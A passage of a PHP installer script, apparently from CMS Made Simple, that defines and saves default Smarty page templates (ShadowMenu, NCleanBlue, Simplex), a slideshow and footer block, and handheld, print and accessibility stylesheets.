{process_pagedata}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n{* note: anything inside these are smarty comments, they will not show up in the page source *}\n\n  <head>\n    <title>{sitename} - {title}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n {metadata}\n{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\n\n {cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to it *}\n\n {cms_selflink dir="start" rellink=1}\n {cms_selflink dir="prev" rellink=1}\n {cms_selflink dir="next" rellink=1}\n{* Relational links for interconnections between pages, good for accessibility and Search Engine Optimization *}\n\n{* the literal below and the /literal at the end are needed whenever there are {"curly brackets"} as smarty will think it's something to process and will throw an error *}\n {literal}\n<script type="text/JavaScript">\n<!--\n//pass min and max - measured against window width\nfunction P7_MinMaxW(a,b){\nvar nw="auto",w=document.documentElement.clientWidth;\nif(w>=b){nw=b+"px";}if(w<=a){nw=a+"px";}return nw;\n}\n//-->\n</script>\n    <!--[if lte IE 6]>\n    <style type="text/css">\n    #pagewrapper {width:expression(P7_MinMaxW(720,950));}\n    #container {height: 1%;}\n    </style>\n    <![endif]-->\n    {/literal}\n{* The min and max page width for Internet Explorer is set here. For other browsers it's in the stylesheet "Layout Top menu + 2 columns" *}\n\n    <!--[if lte IE 6]>\n    <script type="text/javascript" src="modules/MenuManager/CSSMenu.js"></script>\n    <![endif]--> \n{* The above JavaScript is required for CSSMenu to work in IE *}\n\n  </head>\n  <body>\n    <div id="pagewrapper">\n\n{* start accessibility skip links, anything with the class of accessibility is hidden with CSS from visual browsers *}\n      <ul class="accessibility">\n        <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\n        <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\n      </ul>\n{* end accessibility skip links *}\n\n      <hr class="accessibility" />\n{* Horizontal ruler that is hidden for visual browsers by CSS *}\n\n{* Start Header, with logo image that links to the default start page. Logo image is changed in the stylesheet  "Layout Left sidebar + 1 column" *}\n      <div id="header">\n\n{* this holds the name of the site on the right side *}\n        <h2 class="headright">{sitename}</h2>\n\n{* this holds a link back to home page and the header left image/logo, text is hidden using CSS *}\n        <h1>{cms_selflink dir="start" text="\$sitename"}</h1>        \n        <hr class="accessibility" />\n      </div>\n{* End Header *}\n\n{* Start Search, the input "Submit" is using an image, CSS: input.search-button *}\n      <div id="search">\n      {Search}\n      </div>\n{* End Search *}\n\n{* Start Breadcrumbs *}\n      <div class="crbk">\n{* holds the right image, we need 2 divs to be able to make this site fluid, if it was fixed width we could use one div, one image  *}\n\n        <div class="breadcrumbs">\n        {nav_breadcrumbs root='Home'}\n          <hr class="accessibility" />\n        </div>\n      </div>\n{* End Breadcrumbs *}\n\n{* Start Content (Navigation and Content columns) *}\n      <div id="content">\n\n{* Start Sidebar, 2 divs one for top image one for bottom image *}\n        <div id="sidebar">\n          <div id="sidebara">\n\n{* Start Navigation, stylesheet  "Navigation ShadowMenu - Vertical" *}\n            <h2 class="accessibility">Navigation</h2>\n            {Navigator loadprops=0 template='cssmenu_ulshadow'}\n            <hr class="accessibility" />\n\n{* Start News, stylesheet  "Module News" *}\n            <div id="news">\n              <h2>News</h2>\n              {module_available module='News' assign='havenews'}{if \$havenews}{cms_module module=News number='3' detailpage='news'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\n            </div>\n{* End News *}\n\n          </div>\n        </div>\n{* End Sidebar *}\n\n{* Start Content Area, the back1, back2, back3, hold the 3 outside images, main holds the 4th one, to make the box complete, if the template were fixed width not fluid we could use just 2 divs and 2 images, 1 top 1 bottom *}\n        <div class="back1">\n          <div class="back2">\n            <div class="back3">\n              <div id="main">\n                <h2>{title}</h2>\n                {content}\n                <br />{* to insure space below content *}\n\n{* Start relational links *}\n{* note this is the right side, when you float: divs you need to have float: right; divs first *}\n            <div class="right49">\n              <p>{anchor anchor='main' text='^ Top'}</p>\n            </div>\n            <div class="left49">\n              <p>{cms_selflink dir="previous"}\n{* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}\n\n              <br />\n              {cms_selflink dir="next"}\n              </p>\n            </div>\n{* End relational links *}\n\n                <hr class="accessibility" />\n                <div class="clear"></div>\n              </div>\n            </div>\n          </div>\n        </div>\n{* End Content Area *}\n\n      </div>\n{* End Content *}\n\n{* Start Footer. Edit the footer in the Global Content Block called "footer" *}\n      <div class="footback">\n        <div id="footer">\n{* stylesheet  "Navigation FatFootMenu" *}\n          <div id="fooleft">\n          {Navigator loadprops=0}\n          </div>\n          <div id="footrt">\n          {global_content name='footer'}\n          </div>\n          <div class="clear"></div>\n        </div>\n      </div>\n{* End Footer *}\n\n    </div>\n{* end pagewrapper *}\n\n  </body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('ShadowMenu left + 1 column'); // id = 21
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('Using the same menu template as the previous theme. We changed the child ul CSS to use a different top image. This involves changing some of the margin and padding as the images are a different shape. Note the difference in the second level and third level ul images, one has an arrow up and the other has an arrow left.');
$template->set_type($page_template_type);
$template->save();
$shadowmenu_left_1col_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
{process_pagedata}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"\n"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n{* note: anything inside these are smarty comments, they will not show up in the page source *}\n  <head>\n{if isset(\$canonical)}<link rel="canonical" href="{\$canonical}" />{elseif isset(\$content_obj)}<link rel="canonical" href="{\$content_obj->GetURL()}" />{/if}\n\n<title>{title} | {sitename}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n{metadata}\n{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\n\n{cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to *}\n\n{cms_selflink dir="start" rellink=1}\n{cms_selflink dir="prev" rellink=1}\n{cms_selflink dir="next" rellink=1}\n{* Relational links for interconnections between pages, good for accessibility and Search Engine Optmization *}\n\n<!--[if IE 6]>\n<script type="text/javascript" src="modules/MenuManager/CSSMenu.js"></script>\n<![endif]-->\n{* The above JavaScript is required for Menu - NCleanBlue-css to work in IE6 *}\n\n{* the literal below and the /literal at the end are needed whenever there are {"curly brackets"} as smarty will think it's something to process and will throw an error *}\n{* IE6 png fix *}\n{literal}\n<!--[if IE 6]>\n<script type="text/javascript"  src="uploads/NCleanBlue/js/ie6fix.js"></script>\n<script type="text/javascript">\n // argument is a CSS selector\n DD_belatedPNG.fix('.sbar-top,.sbar-bottom,.main-top,.main-bottom,#version');\n</script>\n<style type="text/css">\n/* enable background image caching in IE6 */\nhtml {filter:expression(document.execCommand("BackgroundImageCache", false, true));} \n</style>\n<![endif]-->\n{/literal}\n\n  </head>\n  <body>\n    <div id="ncleanblue">\n      <div id="pagewrapper" class="core-wrap-960 core-center">\n{* start accessibility skip links *}\n        <ul class="accessibility">\n          <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\n          <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\n        </ul>\n{* end accessibility skip links *}\n        <hr class="accessibility" />\n{* Horizontal ruler that is hidden for visual browsers by CSS *}\n\n{* Start Header, with logo image that links to the default start page *}\n        <div id="header" class="util-clearfix">\n{* logo image that links to the default start page. Logo image is changed in the style sheet  "Layout NCleanBlue" *}\n          <div id="logo" class="core-float-left">\n            {cms_selflink dir="start" text="\$sitename"}\n          </div>\n          \n{* Start Search, the input "Submit" is using an image, CSS: div#search input.search-button *}\n          <div id="search" class="core-float-right">\n            {Search search_method="post"}\n          </div>\n{* End Search *}\n          <span class="util-clearb">&nbsp;</span>\n          \n{* Start Navigation, style sheet  "Layout NCleanBlue", starting at Menu  ROOT *}\n          <h2 class="accessibility util-clearb">Navigation</h2>\n{* anything class="accessibility" is hidden for visual browsers by CSS *}\n          <div class="page-menu util-clearfix">\n          {Navigator loadprops=0 template='cssmenu_ulshadow'}\n          </div>\n          <hr class="accessibility util-clearb" />\n{* End Navigation *}\n\n        </div>\n{* End Header *}\n\n{* Start Content (Navigation and Content columns) *}\n        <div id="content" class="util-clearfix"> \n\n{* Start Optional tag CMS Version Information, also is a good example how smarty works, the big star that holds the version number, you may remove it here and the style sheet where it is marked. *}\n          <div title="CMS - {cms_version} - {cms_versionname}" id="version">\n          {capture assign='cms_version'}{cms_version|lower}{/capture}{"/-([a-z]).*/"|preg_replace:"":\$cms_version}\n          </div>\n{* End Optional tag  *}\n\n{* Start Bar *}\n          <div id="bar" class="util-clearfix">\n{* Start Breadcrumbs, a bit of letting you know where your at *}\n            <div class="breadcrumbs core-float-right">\n              {nav_breadcrumbs root='Home'}\n            </div>\n{* End Breadcrumbs *}\n\n            <hr class="accessibility util-clearb" />\n          </div>\n{* End Bar *}\n\n{* Start left side *}\n          <div id="left" class="core-float-left">\n            <div class="sbar-top">\n              <h2 class="sbar-title">News</h2>\n            </div>\n            <div class="sbar-main">\n{* Start News *}\n              <div id="news">\n              {module_available module='News' assign='havenews'}{if \$havenews}{cms_module module=News number='3' detailpage='news'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\n              </div>\n              <img class="screen" src="uploads/NCleanBlue/screen-1.6.jpg" width="139" height="142" title="CMS - {cms_version} - {cms_versionname}" alt="CMS - {cms_version} - {cms_versionname}" />\n{* End News *} \n            </div>\n            <span class="sbar-bottom">&nbsp;</span> \n          </div>\n{* End left side *}\n\n{* Start Content Area, right side *}\n          <div id="main"  class="core-float-right">\n\n{* main top, holds top image *}\n            <div class="main-top">\n              </div> \n            \n{* main content *}\n            <div class="main-main util-clearfix">\n              <h1 class="title">{title}</h1>\n            {content}\n            </div>\n            \n{* Start main bottom and relational links *}\n            <div class="main-bottom">\n              <div class="right49 core-float-right">\n              {anchor anchor='main' text='^&nbsp;&nbsp;Top'}\n              </div>\n              <div class="left49 core-float-left">\n                <span>\n                  {cms_selflink dir="previous"}&nbsp;\n{* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}\n                </span>\n                <span>\n                  {cms_selflink dir="next"}&nbsp;\n                </span>\n              </div>\n{* End relational links *}\n\n              <hr class="accessibility" />\n            </div>\n{* End main bottom *}\n\n          </div>\n{* End Content Area, right side *}\n\n        </div>\n{* End Content *}\n\n      </div>\n{* end pagewrapper *}\n      <span class="util-clearb">&nbsp;</span>\n      \n{* Start Footer *}\n      <div id="footer-wrapper">\n        <div id="footer" class="core-wrap-960">\n{* first foot menu *}\n          <div class="block core-float-left">\n            {Navigator loadprops=0 template='minimal_menu'  number_of_levels='1'}\n          </div>\n          \n{* second foot menu if active page has children *}\n          <div class="block core-float-left">\n            {Navigator loadprops=0 template='minimal_menu'  start_level="2"}\n          </div>\n          \n{* edit the footer in the Global Content Block called "footer" *}\n          <div class="block cms core-float-left">\n            {global_content name='footer'}\n          </div>\n          \n          <span class="util-clearb">&nbsp;</span>\n        </div>\n      </div>\n{* End Footer *}\n    </div>\n{* End Div *}\n  </body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('NCleanBlue'); // id = 22
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('This one is using a new menu template so we can style the drop down for the children pages, using an image for the second ul going from the top down, it has an extra li at the bottom of the child pages ul <li class="separator once" style="list-style-type: none;">&nbsp; </li> this is used to hold the bottom image.');
$template->set_type($page_template_type);
$template->save();
$ncleanblue_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();


$txt = <<<EOT
{strip}\r\n{* used for page specific data or logic in Edit Content -> Logic *}\r\n{process_pagedata}\r\n\r\n{* ================\r\n   THEME LOGIC\r\n   ================ *}\r\n    \r\n{* With cms_lang_info we retrieve current language information, assign gives us \$nls variable we can work with *}\r\n{cms_lang_info assign='nls'}\r\n{* assigned url to theme related folder so we do not have to type full path each time *}\r\n{\$theme_path = "{uploads_url}/simplex"}\r\n{* assigned content tag, now we have all smarty variables available anywhere in template *}\r\n{* assigned title tag to a variable which we can override with a module entry title for example *}\r\n{title assign='main_title'}\r\n{content assign='main_content'}\r\n{* assigned prev and next links so we don't have empty html tags if there is no previous or next page *}\r\n{cms_selflink dir='previous' assign='prev_page'}\r\n{cms_selflink dir='next' assign='next_page'}\r\n\r\n{* ensure that the smarty variables we created are copied to global scope for use elsewhere in the template *}\r\n{share_data scope=parent vars='nls,theme_path,main_title,main_content,prev_page,next_page' scope=global}\r\n\r\n{* using strip as we don't want useless whitespace, especially not before doctype *}\r\n{/strip}<!doctype html>\r\n<!--[if IE 8]>         <html lang='{\$nls->htmlarea()}' dir='{\$nls->direction()}' class='lt-ie9'> <![endif]-->\r\n<!--[if gt IE 8]><!--> <html lang='{\$nls->htmlarea()}' dir='{\$nls->direction()}'> <!--<![endif]-->\r\n    <head>\r\n        <meta charset='{\$nls->encoding()}' />\r\n        {metadata} {* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\r\n        <title>{\$main_title nocache} - {sitename}</title>\r\n        <meta name='HandheldFriendly' content='True' />\r\n        <meta name='MobileOptimized' content='320' />\r\n        <meta name='viewport' content='width=device-width, initial-scale=1' />\r\n        <meta http-equiv='cleartype' content='on' />\r\n        <meta name='msapplication-TileImage' content='{\$theme_path}/images/icons/cmsms-152x152.png' />\r\n        <meta name='msapplication-TileColor' content='#5C5A59' />\r\n        {if isset(\$canonical)}<link rel='canonical' href='{\$canonical}' />{elseif isset(\$content_obj)}<link rel='canonical' href='{\$content_obj->GetURL()}' />{/if} {* See in news detail template how cannonical url can be assigned from module *}\r\n        {cms_stylesheet} {* This is how all the stylesheets attached to this template are linked to *}\r\n        <link href='//fonts.googleapis.com/css?family=Noto+Sans:400,700,400italic|Oswald:700' rel='stylesheet' type='text/css' />\r\n        <link rel='apple-touch-icon-precomposed' sizes='152x152' href='{\$theme_path}/images/icons/cmsms-152x152.png' />\r\n        <link rel='apple-touch-icon-precomposed' sizes='120x120' href='{\$theme_path}/images/icons/cmsms-120x120.png' />\r\n        <link rel='apple-touch-icon-precomposed' sizes='72x72' href='{\$theme_path}/images/icons/cmsms-76x76.png' />\r\n        <link rel='apple-touch-icon-precomposed' href='{\$theme_path}/images/icons/cmsms-60x60.png' />\r\n        <link rel='shortcut icon' sizes='196x196' href='{\$theme_path}/images/icons/cmsms-196x196.png' />\r\n        <link rel='shortcut icon' href='{\$theme_path}/images/icons/cmsms-60x60.png' />\r\n        <link rel='icon' href='{\$theme_path}/images/icons/favicon_cms.ico' type='image/x-icon' />\r\n        {cms_selflink dir='start' rellink='1'} {* Relational links for interconnections between pages, good for accessibility and Search Engine Optmization *}\r\n        {cms_selflink dir='prev' rellink='1'}\r\n        {cms_selflink dir='next' rellink='1'}\r\n        <!--[if lt IE 9]>\r\n            <script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>\r\n            <script src="//css3-mediaqueries-js.googlecode.com/svn/trunk/css3-mediaqueries.js"></script>\r\n        <![endif]-->\r\n    </head>\r\n    <body id='boxed' class='container page-wrapper page-{\$page_alias} page-{\$content_id}'>\r\n        <!-- #wrapper (wrapping content in a box) -->\r\n        <div class='row' id='wrapper'>\r\n            <!-- accessibility links, jump to nav or content -->\r\n            <ul class="visuallyhidden">\r\n                <li>{anchor anchor='nav' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\r\n                <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\r\n            </ul>\r\n            <!-- accessibility //-->\r\n            <!-- .top (top section of page containing logo, navigation search...) -->\r\n            <header class='top inner-section'>\r\n                <div class='row header'>\r\n                    <!-- .logo (cmsms logo on the left side) -->\r\n                    <div class='logo four-col'>\r\n                        <a href='{root_url}' title='{sitename}'>\r\n                            <img src='{\$theme_path}/images/cmsmadesimple-logo.png' width='227' height='59' alt='{sitename}' />\r\n                            <span class='palm'></span>\r\n                        </a>\r\n                    </div>\r\n                    <!-- .logo //-->\r\n                    <!-- .main-navigation (main navigation on the right side) -->\r\n                    <nav class='main-navigation eight-col cf noprint' id='nav' role='navigation'>\r\n                        {Navigator loadprops='0' template='Simplex Main Navigation'} {* A Navigator module, database Template *}\r\n                    </nav>\r\n                    <!-- .main-navigation //-->\r\n                </div>\r\n                <!-- .header-bottom (bottom part of header containing catchphrase and search field) -->\r\n                <div class='row header-bottom'>\r\n                    <section class='phrase cf'>\r\n                        <span class='seven-col phrase-text'>Power for professionals<br class='lt-768' /> Simplicity for End Users</span>\r\n                        {Search|strip formtemplate='Simplex Search'} {* Search module using custom template in Design Manager, you should use resultpage parameter for search results (see module help) *}\r\n                    </section>\r\n                </div>\r\n                <!-- .header-bottom //-->\r\n                <!-- .banner (banner area for a slider or teaser image) -->\r\n                {global_content name='Simplex Slideshow'}\r\n                <!-- .banner //-->\r\n            </header>\r\n            <!-- .top //-->\r\n            <!-- .content-wrapper (wrapping div for content area) -->\r\n            <main role='main' class='content-wrapper inner-section'>\r\n                <div class='row'>\r\n                    <!-- .content-inner (display content first) -->\r\n                    <div class='content-inner eight-col push-four'>\r\n                        <!-- .content-top (breadcrumbs) -->\r\n                        <div class='content-top cf' itemscope itemtype='http://data-vocabulary.org/Breadcrumb'>\r\n                            {Navigator action='breadcrumbs'} {* you can create own breadcrumbs template as well and include it with template parameter *}\r\n                            <span class='title-border' aria-hidden='true'></span>\r\n                        </div>\r\n                        <!-- .content-top //-->\r\n                        <!-- .content (actual content with title and content tags) -->\r\n                        <article class='content' id='main'>\r\n                            <h1>{\$main_title nocache} </h1> {* title tag *}\r\n                                {\$main_content nocache} {* content entered in page editor area, variable is assigned on top in template logic, using nocache as variables are cached with Smarty cache on *}\r\n                        </article>\r\n                        <!-- .content //-->\r\n                    </div>\r\n                    <!-- .content-inner //-->\r\n                    <!-- .sidebar (then show sidebar) -->\r\n                    <aside class='sidebar four-col pull-eight'>\r\n                        {* sample of using News Module tag for summary of latest two articles, remember if News page is deleted you should change detailpage parameter *}\r\n                        {module_available module='News' assign='havenews'}{if \$havenews}{cms_module module=News summarytemplate='Simplex News Summary' number='2' detailtemplate='Simplex News Detail'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\r\n                    </aside>\r\n                    <!-- .sidebar //-->\r\n                    <div class='cf eight-col push-four'>\r\n                        {if !empty(\$prev_page)}<span class='previous'>{\$prev_page nocache}</span>{/if}\r\n                        {if !empty(\$next_page)}<span class='next'>{\$next_page nocache}</span>{/if}\r\n                    </div>\r\n                </div>\r\n            </main>\r\n            <!-- .content-wrapper //-->\r\n            <!-- .footer (footer area) -->\r\n            <footer class='footer inner-section'>\r\n                <span class='back-top'><a href='{anchor anchor='main' onlyhref='1'}' id='scroll-top'><i class='icon-arrow-up' aria-hidden='true'></i></a></span>\r\n                <div class='row'>\r\n                    <section class='eight-col push-four noprint'>\r\n                        <nav class='footer-navigation row'>\r\n                            {Navigator template='Simplex Footer Navigation' excludeprefix='home' number_of_levels='2' loadprops='0'}\r\n                        </nav>\r\n                    </section> \r\n                    <section class='four-col pull-eight copyright'>\r\n                        {global_content|strip name='Simplex Footer'} {* generic Design Manager template *}\r\n                    </section>\r\n                </div>\r\n            </footer>\r\n        <!-- #wrapper //--> \r\n        </div>\r\n    {cms_jquery exclude='ui,nestedSortable,json,migrate' append='uploads/simplex/js/jquery.sequence-min.js,uploads/simplex/js/functions.min.js'}{strip}\r\n    {* if you are using some older jQuery plugin that relies on deprecated and removed functions that are no longer supported\r\n       in jQuery 1.11.0 try removing "migrate" from exclude list which will include jQuery Migrate 1.2.1 Plugin.\r\n       For more information about removed functions see: http://jquery.com/upgrade-guide/1.9/ *}{/strip}\r\n    </body>\r\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('Simplex');
$template->set_owner($admin_user->id);
$template->set_content($txt);
$template->set_description('A HTML5 based responsive template');
$template->set_type($page_template_type);
$template->set_type_dflt(TRUE);
$template->save();
$simplex_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
{strip}\r\n\r\n{* A simple Smarty array for our slideshow *}\r\n{\$slides = []}\r\n\r\n{\$slides.0.heading = 'Power for professionals'}\r\n{\$slides.0.subheading = 'Simplicity for end Users'}\r\n{\$slides.0.image = 'palm-logo.png'}\r\n\r\n{\$slides.1.heading = 'Faster &amp; Easier'}\r\n{\$slides.1.subheading = 'Website management'}\r\n{\$slides.1.image = 'mate-zimple.png'}\r\n\r\n{\$slides.2.heading = 'Flexible &amp; Powerful'}\r\n{\$slides.2.subheading = 'Manage your Website anywhere and anytime'}\r\n{\$slides.2.image = 'mobile-devices-scene.png'}\r\n\r\n{\$slides.3.heading = 'Secure &amp; Robust'}\r\n{\$slides.3.subheading = 'Take control of your application'}\r\n{\$slides.3.image = 'browser-scene.png'}\r\n\r\n{* Markup *}\r\n<section class='banner row noprint' id='sx-slides' role='banner'>\r\n    <ul class="sequence-canvas">\r\n        {foreach \$slides as \$slide}\r\n        <li{if \$slide@first} class='animate-in'{/if}>\r\n            {if !empty(\$slide.heading)}<h2 class='title'>{\$slide.heading}</h2>{/if}\r\n            {if !empty(\$slide.subheading)}<h3 class='subtitle'>{\$slide.subheading}</h3>{/if}\r\n            {if !empty(\$slide.image)}<img class='image' src='{uploads_url}/simplex/teaser/{\$slide.image}' alt='{\$slide.heading|cms_escape:'htmlall'}' />{/if}\r\n        </li>\r\n        {/foreach}\r\n    </ul>\r\n</section>\r\n\r\n{/strip}
EOT;
$gcb_sx_slideshow = new CmsLayoutTemplate();
$gcb_sx_slideshow->set_name('Simplex Slideshow');
$gcb_sx_slideshow->set_type($gcb_template_type);
$gcb_sx_slideshow->set_owner($admin_user->id);
$gcb_sx_slideshow->set_description('A sample slider for Simplex Theme.
Note: required jQuery Framework is already included at the bottom of Simplex Page Template.
If any of Modules that you are going to use requires or adds additional jQuery Framework, remember to either remove jQuery Framework from Module template (for example Gallery module) or to move {cms_jquery} tag in Simplex Page Template to <head> section of template if needed.
All current Browser come with some kind of Developer Tools (usually F12 key) or you can also install Firebug in Firefox or Chrome, if some JavaScript function doesn\'t work your first step would be to open Developer Tools and look into console errors.');
$gcb_sx_slideshow->set_content($txt);
$gcb_sx_slideshow->save();
$simplex_theme->add_template($gcb_sx_slideshow);

$txt = <<<EOT
{* Logic *}\r\n{\$start_year = '2004'}\r\n{\$current_year = \$smarty.now|cms_date_format:'Y'}\r\n\r\n{* Template *}\r\n<ul class='social cf'>\r\n    <li class='twitter'><a title='Twitter' href='http://twitter.com/#!/cmsms'><i class='icon-twitter'></i><span class='visuallyhidden'>Twitter</span></a></li>\r\n    <li class='facebook'><a title='Facebook' href='https://www.facebook.com/cmsmadesimple'><i class='icon-facebook'></i><span class='visuallyhidden'>Facebook</span></a></li>\r\n    <li class='linkedin'><a title='LinkedIn' href='http://www.linkedin.com/groups?gid=1139537'><i class='icon-linkedin'></i><span class='visuallyhidden'>LinkedIn</span></a></li>\r\n    <li class='youtube'><a title='YouTube' href='http://www.youtube.com/user/cmsmadesimple'><i class='icon-youtube'></i><span class='visuallyhidden'>YouTube</span></a></li>\r\n    <li class='google'><a title='Google Plus' href='https://plus.google.com/+cmsmadesimple/posts'><i class='icon-google'></i><span class='visuallyhidden'>Google Plus</span></a></li>\r\n    <li class='pinterest'><a title='Pinterest' href='http://www.pinterest.com/cmsmadesimple/'><i class='icon-pinterest'></i><span class='visuallyhidden'>Pinterest</span></a></li>\r\n</ul>\r\n<p class='copyright-info'>&copy; Copyright {\$start_year}{if \$start_year !== \$current_year} - {\$current_year}{/if} - CMS Made Simple<br /> This site is powered by <a href='http://www.cmsmadesimple.org'>CMS Made Simple</a> version {cms_version}</p>
EOT;
$gcb_sx_footer = new CmsLayoutTemplate();
$gcb_sx_footer->set_name('Simplex Footer');
$gcb_sx_footer->set_type($gcb_template_type);
$gcb_sx_footer->set_owner($admin_user->id);
$gcb_sx_footer->set_description('Custom footer section template for Simplex Theme');
$gcb_sx_footer->set_content($txt);
$gcb_sx_footer->save();
$simplex_theme->add_template($gcb_sx_footer);
//
// Stylesheets
//
$css_list = array();
verbose_msg(ilang('install_stylesheets'));

$txt = <<<EOT
/*********************************************\nSample stylesheet for mobile and small screen handheld devices\n\nJust a simple layout suitable for smaller screens with less \nstyling cabapilities and minimal css\n\nNote: If you dont want to support mobile devices you can\nsafely remove this stylesheet.\n*********************************************/\n/* remove all padding and margins and set width to 100%. This should be default for handheld devices but its good to set these explicitly */\nbody {\nmargin:0;\npadding:0;\nwidth:100%;\n}\n\n/* hide accessibility noprint and definition */\n.accessibility,\n.noprint,\ndfn {\ndisplay:none;\n}\n\n/* dont want to download image for header so just set bg color */\ndiv#header,\ndiv#footer {\nbackground-color: #385C72;  \ncolor: #fff;\ntext-align:center;\n}\n\n/* text colors for header and footer */\ndiv#header a,\ndiv#footer a {\ncolor: #fff;\n}\n\n/* this doesnt look as nice, but takes less space */\ndiv#menu_vert ul li,\ndiv#menu_horiz ul li {\ndisplay:inline;\n}\n\n/* small border at the bottom to have some indicator */\ndiv#menu_vert ul,\ndiv#menu_horiz ul {\nborder-bottom:1px solid #fff;\n}\n\n/* save some space */\ndiv.breadcrumbs {\ndisplay:none;\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Handheld');
$css->set_description('Stylesheet for older mobile devices');
$css->set_content($txt);
$css->set_media_types('handheld');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/*\nSections that are hidden when printing the page. We only want the content printed.\n*/\n\n\nbody {\ncolor: #000 !important; /* we want everything in black */\nbackground-color:#fff !important; /* on white background */\nfont-family:arial; /* arial is nice to read ;) */\nborder:0 !important; /* no borders thanks */\n}\n\n/* This affects every tag */\n* {\nborder:0 !important; /* again no borders on printouts */\n}\n\n/* \nno need for accessibility on printout. \nMark all your elements in content you \ndont want to get printed with class="noprint"\n*/\n.accessibility,\n.noprint\n {\ndisplay:none !important; \n}\n\n/* \nremove all width constraints from content area\n*/\ndiv#content,\ndiv#main {\ndisplay:block !important;\nwidth:100% !important;\nborder:0 !important;\npadding:1em !important;\n}\n\n/* hide everything else! */\ndiv#header,\ndiv#header h1 a,\ndiv.breadcrumbs,\ndiv#search,\ndiv#footer,\ndiv#menu_vert,\ndiv#news,\ndiv.noprint,\ndiv.right49,\ndiv.left49,\ndiv#sidebar  {\n   display: none !important;\n}\n\nimg {\nfloat:none; /* this makes images cause a pagebreak if it doesnt fit on the page */\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Print');
$css->set_description('Default stylesheet for print devices');
$css->set_content($txt);
$css->set_media_types('print');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/* accessibility */\n/* menu links accesskeys */\nspan.accesskey {\n	text-decoration: none;\n}\n/* accessibility divs are hidden by default, text, screenreaders and such will show these */\n.accessibility, hr {\n/* position set so the rest can be set out side of visual browser viewport */\n	position: absolute;\n/* takes it out top side */\n	top: -999em;\n/* takes it out left side */\n	left: -999em;\n}\n/* definition tags are also hidden, these are also used for accessibility menu links */\ndfn {\n	position: absolute;\n	left: -1000px;\n	top: -1000px;\n	width: 0;\n	height: 0;\n	overflow: hidden;\n	display: inline;\n}\n/* end accessibility */\n/* wiki style external links */\n/* external links will have "(external link)" text added, lets hide it */\na.external span {\n	position: absolute;\n	left: -5000px;\n	width: 4000px;\n}\na.external {\n/* make some room for the image, css shorthand rules, read: first top padding 0 then right padding 12px then bottom then right */\n	padding: 0 12px 0 0;\n}\n/* colors for external links */\na.external:link {\n	color: #18507C;\n/* background image for the link to show wiki style arrow */\n	background: url([[root_url]]/uploads/NCleanBlue/external.gif) no-repeat 100% -100px;\n}\na.external:visited {\n	color: #18507C;\n/* a different color can be used for visited external links */\n/* Set the last 0 to -100px to use that part of the external.gif image for different color for active links external.gif is actually 300px tall, we can use different positions of the image to simulate rollover image changes.*/\n	background: url([[root_url]]/uploads/NCleanBlue/external.gif) no-repeat 100% -100px;\n}\na.external:hover {\n	color: #18507C;\n/* Set the last 0 to -200px to use that part of the external.gif image for different color on hover */\n	background: url([[root_url]]/uploads/NCleanBlue/external.gif) no-repeat 100% 0;\n	background-color: inherit;\n}\n/* end wiki style external links */\n/* clearing */\n/* clearfix is a hack for divs that hold floated elements. it will force the holding div to span all the way down to last floated item. We strongly recommend against using this as it is a hack and might not render correctly but it is included here for convenience. Do not edit if you dont know what you are doing*/\n.clearfix:after {\n	content: ".";\n	display: block;\n	height: 0;\n	clear: both;\n	visibility: hidden;\n}\n.clear {\n	height: 0;\n	clear: both;\n	width: 90%;\n	visibility: hidden;\n}\n#main .clear {\n	height: 0;\n	clear: right;\n	width: 90%;\n	visibility: hidden;\n}\n* html>body .clearfix {\n	display: inline-block;\n	width: 100%;\n}\n* html .clear {\n/* Hides from IE-mac \\*/\n	height: 1%;\n	clear: right;\n	width: 90%;\n/* End hide from IE-mac */\n}\n/* end clearing */
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Accessibility and cross-browser tools');
$css->set_description('Accessibility and cross-browser CSS rules attached to multiple Themes');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
